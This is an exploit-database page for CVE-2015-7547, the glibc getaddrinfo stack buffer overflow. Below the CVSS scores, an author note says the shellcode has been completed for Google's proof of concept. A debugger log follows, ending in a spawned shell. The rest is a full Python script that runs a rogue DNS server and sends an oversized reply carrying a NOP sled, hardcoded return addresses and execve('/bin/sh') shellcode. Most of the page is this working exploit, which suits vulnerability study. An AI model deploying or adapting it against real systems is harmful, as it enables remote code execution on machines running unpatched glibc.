glibc getaddrinfo Stack Buffer Overflow

2016.09.07
Credit: Blackfalcon
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

add by SpeeDr00t@Blackfalcon (jang kyoung chip) This is a published vulnerability by google in the past. Please refer to the link below. Reference: - https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html - https://github.com/fjserna/CVE-2015-7547 - CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow When Google announced about this code(vulnerability), it was missing information on shellcode. So, I tried to completed the shellcode. In the future, I hope to help your study. (gdb) gdb -q client1 Undefined command: "gdb". Try "help". (gdb) r Starting program: /home/haker/client1 Got object file from memory but can't read symbols: File truncated. [UDP] Total Data len recv 36 [UDP] Total Data len recv 36 udp send sendto 1 TCP Connected with 127.0.0.1:60259 [TCP] Total Data len recv 76 [TCP] Request1 len recv 36 data1 = i?1/2i?1/2foobargooglecom query = foobargooglecom$(i?1/2foobargooglecom [TCP] Request2 len recv 36 sendto 2 data1_reply data2_reply [UDP] Total Data len recv 36 [UDP] Total Data len recv 36 udp send sendto 1 TCP Connected with 127.0.0.1:60260 [TCP] Total Data len recv 76 [TCP] Request1 len recv 36 data1 = i?1/2i?1/2foobargooglecom query = foobargooglecom$i?1/27foobargooglecom [TCP] Request2 len recv 36 sendto 2 data1_reply data2_reply process 6415 is executing new program: /bin/dash $ id uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare) $ ''' import socket import time import struct import threading IP = '192.168.111.5' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False last_reply = None reply_now = threading.Event() def dw(x): return struct.pack('>H', x) def dd(x): return struct.pack('>I', x) def dl(x): return struct.pack('<Q', x) def db(x): return chr(x) def udp_thread(): global terminate # Handle UDP requests sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_udp.bind((IP, 53)) reply_counter = 0 counter = -1 answers = [] while not terminate: data, addr = sock_udp.recvfrom(1024) print '[UDP] Total Data len recv ' + str(len(data)) id_udp = struct.unpack('>H', data[0:2])[0] query_udp = data[12:] # Send truncated flag... so it retries over TCP data = dw(id_udp) # id data += dw(0x8380) # flags with truncated set data += dw(1) # questions data += dw(0) # answers data += dw(0) # authoritative data += dw(0) # additional data += query_udp # question data += '\x00' * 2500 # Need a long DNS response to force malloc answers.append((data, addr)) if len(answers) != 2: continue counter += 1 if counter % 4 == 2: answers = answers[::-1] print 'udp send ' time.sleep(0.01) sock_udp.sendto(*answers.pop(0)) print 'sendto 1 ' reply_now.wait() sock_udp.sendto(*answers.pop(0)) print 'sendto 2 ' sock_udp.close() def tcp_thread(): global terminate counter = -1 #Open TCP socket sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock_tcp.bind((IP, 53)) sock_tcp.listen(10) print 'a' while not terminate: conn, addr = sock_tcp.accept() counter += 1 print 'TCP Connected with ' + addr[0] + ':' + str(addr[1]) # Read entire packet data = conn.recv(1024) print '[TCP] Total Data len recv ' + str(len(data)) reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) print '[TCP] Request1 len recv ' + str(reqlen1) data1 = data[2:2+reqlen1] print 'data1 = ' +data1 id1 = struct.unpack('>H', data1[0:2])[0] query1 = data[12:] print 'query = ' + query1 # Do we have an extra request? data2 = None if len(data) > 2+reqlen1: reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) print '[TCP] Request2 len recv ' + str(reqlen2) data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] id2 = struct.unpack('>H', data2[0:2])[0] query2 = data2[12:] # Reply them on different packets data = '' data += dw(id1) # id data += dw(0x8180) # flags data += dw(1) # questions data += dw(ANSWERS1) # answers data += dw(0) # authoritative data += dw(0) # additional data += query1 # question for i in range(ANSWERS1): answer = dw(0xc00c) # name compressed answer += dw(1) # type A answer += dw(1) # class answer += dd(13) # ttl answer += dw(4) # data length answer += 'D' * 4 # data data += answer data1_reply = dw(len(data)) + data if data2: data = '' data += dw(id2) data += 'A' * (6) data += '\x08\xc5\xff\xff\xff\x7f\x00\x00' data += '\x90' * (44) data += '\x90' * (1955) data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05' data += '\x90' * (100) data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00' data += 'F' * (8) data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00' data += 'G' * (134) data2_reply = dw(len(data)) + data else: data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) print 'data1_reply' time.sleep(0.01) if data2: conn.sendall(data2_reply) print 'data2_reply' reply_now.clear() sock_tcp.shutdown(socket.SHUT_RDWR) sock_tcp.close() if __name__ == "__main__": t = threading.Thread(target=udp_thread) t.daemon = True t.start() tcp_thread() terminate = True


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top